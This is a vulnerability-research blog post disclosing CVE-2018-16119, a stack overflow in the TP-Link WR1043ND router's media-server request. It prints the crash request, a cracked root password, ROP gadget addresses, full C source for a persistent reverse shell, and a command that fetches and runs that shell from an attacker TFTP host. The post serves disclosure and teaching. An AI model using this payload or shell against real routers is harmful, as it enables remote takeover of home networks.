Menú Security Signal

November 13, 2018

Exploiting Routers: Just Another TP-Link 0-Day

by Alejandro Parodi

INTRODUCTION

In this post, I will be discussing our recent finding (CVE-2018-16119) while conducting vulnerability research on a home router: TP-Link’s WR1043ND home WiFi router. This post is a walkthrough to the steps taken to identify the vulnerability and how it can be exploited to gain remote code execution in the device.

THE DEVICE

The device I conducted this research on was the WR1043ND home WiFi router from TP-Link (Firmware Version 3.00).

TP LINK WR1043ND

I started doing a classic web application Pentest searching for common vulnerabilities in the device administration interface. The default password to access to the Admin Panel were admin:admin

I did not find anything interesting around the default components of the devices, but this device has a really curious functionality. Any device owner could attach an external device to the Router and enable the NAS-Kind capabilities of the device, this is a very interesting feature and a key in the product  commercialization campaign of TP-Link and can be seen in the product web page: https://www.tp-link.com/au/products/details/cat-9_TL-WR1043ND.html

Once an external device was connected through the USB port (a simple USB Pendrive in my case) the Media Server functionality could be used to create and share folders/files across the Internal Network.

When a new folder was created by the device the following request was sent:

GET /TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm?displayName=testing_folder&shareEntire=%2Ftmp%2Fusbdisk%2Fvolume1&no_use_para_just_fix_ie_sub_bug=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Connection: close
Upgrade-Insecure-Requests: 1

The first thing that I could notice was the strange string in the URL: TLROLZZBRWGYNWBA this string will act as a Session ID of a User and is generated in every User Login, any modification of this “token” will generate a Logout and will destroy de User Session.

I thought that the Add New Folder request could be abused to achieve classic RCE bug, after playing around with the parameters I was not able to achieve this objective but I found that sending a long string inside the parameter shareEntire produced that the application gets stuck, the web interface stops responding requests and even the WIFI AP stop working.

Crash Request:

GET /RRUJDHBBIZYEJLEA/userRpm/MediaServerFoldersCfgRpm.htm?displayName=testing_folder&shareEntire=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&no_use_para_just_fix_ie_sub_bug=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Connection: close
Upgrade-Insecure-Requests: 1

Burp Suite Repeater View:

After this first request any further interaction fails to connect with the Web Service as can be seen in the following Curl Request:

I thought that this behavior could be in relation to a buffer overflow vulnerability, so I decided to go deeper into the issue. A new problem came across, to debug the crash, I needed a way to execute commands in the device.

ACCESSING THE DEVICE

Despiting all my effort, I did not find a way to achieve command execution via a web interface issue, also I was not able to connect to the device via SSH.

My second approach was to get access via the UART Interface on the board. For this I needed to perform a little job of soldering as can be seen in the following image:

PCB Back

You can read about How to Detect Serial Pinout (GND, VCC, TX, RX) in this link: http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/

After a not really good soldering job, I was able to access the board using The Shikra UART Interface. For this I used the following UART PINOUT documentation:

The Shikra attached to the Device looked like the following image:

PCB Front + Shikra Connection

After a successful connection, the next step was to detect the communication baud-rate, for this I liked to use Arduino IDE as the GUI of the UART Interface, playing around with the baud-rates I found that the correct one was: 115200

Useful information was printed to UART Interface when the board is booting, but the most important was the Device Architecture: MIPS Big Endian

After Device Boot I expected an unprotected system shell, but the device asked me for username and password:

So I was forced to change the research approach. I downloaded the original device firmware from the DD-WRT Router Database: https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2018/10-10-2018-r37305/tplink_tl-wr1043nd-v2/factory-to-ddwrt.bin

And with the help of Binwalk tool, I was able to extract the Router filesystem. Binwalk did not work correctly in Mac OSX but thankfully a really good docker container could be used to execute Binwalk successfully

At this point, I could obtain the content of the /etc/shadow file:

Also, I was able to obtain the plaintext password representation of the Hash with the help of  Google Search Engine:

With this information I was able to Login in the Device using the UART Interface and the credentials:
root:sohoadmin

Debugging the Device:

The first thing to did with this access was to check all the process that runs within the Firmware and detect the one in charge of control the web interface. Like is common in this kind of devices the application that had the control of the web application was the binary: /usr/bin/httpd

This was an application that use multiples fork calls to spawn multiples threads to control different aspects of the Device I centered my attention on the last httpd PID: 548

To understand what was happening in the device when the crash request was sent I needed a way to debug the binary, to accomplish this I needed a gdbserver compiled for MIPS Big Endian. There are different ways to achieve this, but the fastest way is to get a compiled version from the Rapid7 embedded-tools  Github Repository: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

With the binary on my hand, I needed a way to transfer the gdbserver to the device thankful the Firmware to include a TFTP binary that helps me a lot in the process of upload and download files from the device.

I was able to upload files to the board using a TFTP Server (https://github.com/silopolis/tftpgui) and the following command in the UART Shell:

"tftp -g -r gdbserver.mipsbe 192.168.0.100"

TFTP Server in my Local Machine:

TFTP Client in WR1043ND Router:

With the gdb server in place, I could attach the /usr/bin/httpd PID: 548 and sent the crash request to look at what was happening in memory as can be seen below:

As the client of this GDBServer Instance, I used IDA Pro v6.8 in conjunction with the httpd binary that I got from the Firmware Filesystem.

To achieve this a series of steps were needed:

  1. Connect the computer to the Router ESSID
  2. Set IDA Debugger to use a Remote gdbserver in the main bar and configure the GDBServer IP/PORT in Debugger -> Process Options.

  1. Disable the Use Stepping Support Support in Settings -> Debugger Options -> Set Specific Options to avoid Breakpoint Instability
  2. Attach to the Remote Process and press F9 key:

At this point, I sent the Crashing Request and…

Effectively, the $PC Register (EIP – RIP MIPS Equivalent) was overwritten and I could able to modify the execution flow of the program. Additionally, I had control over several registers as can be seen below:

Playing around with the pattern_create.rb module of Metasploit Framework, I was able to determine that I started overwriting memory after a padding of 260 bytes. After this padding the registers started been overwritten in this order: $s0, $s1 and $pc.

I took this approach due that the step by step debugging to identify where the memory corruptions happened was a really laborius because I had several errors that I found working with GDB + IDA in this MIPS Device (The Non-Performant Memory Resources of the device freeze the debugger server several times during the process or the device just stoped working)

ATTACK SURFACE

At this point, I had a potential exploitable issue, but to be sure of its exploitability a little bit more of research was needed.

First of all, I needed to map the attack surface, before getting into the action was important to determine if the Stack and Heap had Execution Privileges:

Stack&Heap Disable DEP Protection

As can be seen in the above image, both memory spaces allowed execution (x char in the third column) in the main binary and also libraries. This was amazing because I did not have to think in craft a DEP Bypass ROP Chain.

The second thing to know was if the Binary had ASLR Active:

I could determine that the binary has Partial ASLR active, this could say that the application will randomize only the Stack and the Heap each run because of that a hardcoded Stack/Heap Address cannot be used to jump into the shellcode. But, the .code segment addresses was not randomized and can be used to craft a ROP Chain.

Furthermore, it was important to recognize all the libraries that the application used in its execution and where there are start been mapping in memory. That information will help us to rebase the library address and obtain useful Gadgets to build a ROP Chain.

As can be seen in the above image, there are several libraries in use but I set my attention in libuClib-0.9.30.so and its execution code start been mapping at 0x2AAE2000

A good idea at this point was to download the libraries used by the binary to further analysis, this could be done using the following commands:

tftp -p /lib/ld-uClibc-0.9.30.so 192.168.0.100
tftp -p /lib/libpthread-0.9.30.so 192.168.0.100
tftp -p /lib/libuClibc-0.9.30.so 192.168.0.100
tftp -p /lib/libutil-0.9.30.so 192.168.0.100
tftp -p /lib/libwpa_ctrl.so 192.168.0.100
tftp -p /lib/librt-0.9.30.so 192.168.0.100
tftp -p /lib/libmsglog.so 192.168.0.100
tftp -p /lib/libgcc_s.so.1 192.168.0.100

The last important thing that I had to do was learn about Device Architecture. This was my first time hands on with MIPS Architecture so I had to read a lot about its ASM Syntax, its functionality and features, and also about the malicious Cache [In-]coherency functionality of MIPS Arch.

I am not going to get in deeper writing about Cache [In-]coherency in this document because it was already covered in several papers, you could find more about it in the following links:
https://www.vantagepoint.sg/papers/MIPS-BOF-LyonYang-PUBLIC-FINAL.pdf
http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/
https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/

A quick note about Cache [In-]coherency:

Basically, when a shellcode try to be executed on the stack, the CPU will check if it has data from that address in its cache already, which means that if our shellcode has self-modifying properties as decoding routines (In general we will use some kind of encoding routines to avoid badchars), the encoded instructions will end up being executed instead of the decoded due the cache coherency of MIPS Architecture.

WRITING THE EXPLOIT:

At this moment, we have two possible approaches to exploit this kind of device.

Avoid Cache [In-]coherency and execute a Shellcode:

To achieve Remote Code Execution with this technique we need to follow a series of Steps:

  1. Trigger the bug
  2. ROP to Sleep(1) => This will force the processor to refresh its Cache (Avoiding Cache In-coherency)
  3. Jump to Shellcode
  4. The first part of the shellcode must decode the part that will achieve the code execution.
  5. ROP to Sleep(1) Again => To refresh the Cache with the Decoded Executable Shellcode
  6. Jump to Executable Shellcode

This is the traditional way to exploit Buffer Overflows in MIPS Architecture but after several attempts, I decided to discard this due that I get Illegal Instruction errors every time that I jump to my decoded shellcode.

ROP to System Syscall:

After several hours of thought in an alternative way to exploit this issue I found a really good alternative:

  1. Trigger the Bug
  2. Get a Pointer to a CMD String => Already in Memory (.idata) or Loaded for the Payload (in the Stack)
  3. ROP to System Function

This approach worked incredibly well on this device, it was so much simpler to exploit and the exploit code ended more reduced and cleaner.

To successfully exploit this vulnerability following the ROP to System Syscall approach a series of steps need to be followed.

Build a C/C++ reverse shell and compile it for MIPS Big Endian Arch

Since I wanted to use a TFTP command to download a shellcode, first of all, I needed to build a shellcode.

I used the following reverse shell for that:

// Simple Persistent Reverse Shell
// Compile for MIPSBE using the following steps:
// 1) cp reverse_shell_mipsbe.c /tmp/
// 2) docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash
// Inside Docker:
// 4) cd /tmp ; mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh
// Outside Docker:
// 5) cp /tmp/shh .

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(){
    int socket_info;
    int connectie;
    int pid;
    struct sockaddr_in aanvaller_info;
    
    while(1) {
        socket_info = socket(AF_INET, SOCK_STREAM, 0);
        aanvaller_info.sin_family = AF_INET;
        aanvaller_info.sin_port = htons(3000);
        aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.103");
        printf("Set data.\n");
        
        printf("Trying to perform a new connection\n");
        connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr));
        while(connectie < 0){ printf("Connection Failed\n"); sleep(5); connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr)); } connectie = write(socket_info,"Connection Completed\n",36); printf("Successful Connection\n"); pid = fork(); if(pid > 0){
            printf("Forking Process\n");
            wait(NULL);
        }
        if(pid == 0){
            printf("Process Forked Successfully\n");
            dup2(socket_info,0); // input
            dup2(socket_info,1); // output
            dup2(socket_info,2); // errors
            execl("/bin/sh", "/bin/sh", NULL);
            usleep(3000);
        }
            printf("The connection was closed, trying to reconnect...\n");
    }
    return 0;
}

And to avoid C cross-compilation annoying stuff I used a docker already built to accomplish that mission: https://hub.docker.com/r/asmimproved/qemu-mips/

I copied the reverse_shell_mipsbe.c file into /tmp/ folder and shared it with the docker to compile the binary from there:

COMMANDS:

1) Outside Docker Container:
- docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash

2) Inside Docker Container:
- cd /tmp
- mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh
- exit

With the binary already compiled, I copied the shh binary to the folder of my TFTP Server.

Trigger the vulnerability, set in the Stack a chain command to download the Reverse Shell from the attacker TFTP Server and execute it.

I needed to send a request that will trigger the bug overwriting the $PC register and at the end of the payload set in the Stack the following command:

tftp -g -r shh 192.168.0.103;chmod 777 shh;./shh

It was a little bit tricky because the above command needed to end with the Line Terminated opcode: \x00 that I cannot send via HTTP Request. This forced me to use a padding that allowed me to set the command in a memory filled with \x00)

Move the Stack Address Pointer where the TFTP Command there is to $a register.

At this point, I needed to set the Stack Address where the TFTP command was set into the register $a that is the one used as the first argument in the MIPS Calling Convention.

For this, I needed to redirect the controlled $pc register to a ROP Gadget that performed this operation.

Before start searching for useful gadgets I needed to rebase the libraries using the address where the executable code where mapped by the binary, this could be done to determine the real position of a gadget in memory due that the Firmware Operating System was not protecting Memory addresses with ASLR.

I knew that the libuClib-0.9.30.so start been mapped at 0x2AAE2000 address. I could use this information to Rebase the static address of this library and start searching Gadgets that I could reuse in the real binary memory.

After time seeking  I found the next gadget in libuClib-0.9.30.so library that not contain badchar in its address: 0x2AAF84C0

This gadget will move the $sp Address (that is pointing to the command chain string) to the $s2 register, after that it will jump to the address set in $s0 register.

Since I had control over $s0 I can use a second gadget that will move the address of $s2 to $a0 (First Argument of any Syscall Function in MIPS) and jumps to the address set in $s1 register.

ROP to System 😀

The $s1 register is also over control, after setting a valid pointer to the command string into the $a0 register (Syscall Argument) now I can jump using $s1 register directly to the system() function address: 0x2AB32150 (rebased address) that is also in libuClib-0.9.30.so library.

With the $sp (Stack Pointer) address set into the $a0 register and pointing to my chain of commands, I was ready to jump to the System Syscall using the $s1 register.

If the Rop Chain is successfully executed the System Syscall will use as its parameter the command chain pointer that will download the reverse shell binary from the attacker TFT Server, give it execution grants and execute it.

After this, the only thing that I had to do was wait for the reverse shell.

The result:

In the following video can be seen the PoC of exploitation of this vulnerability:

You could find a full exploit for this vulnerability at my Github: https://github.com/hdbreaker/CVE-2018-16119/blob/master/exploit/exploit.py

I wanted to share with all of you this interesting research. I learned a lot about MIPS Architecture exploiting this vulnerability and I hope that this helps you in your further MIPS Research.

Happy Hunting!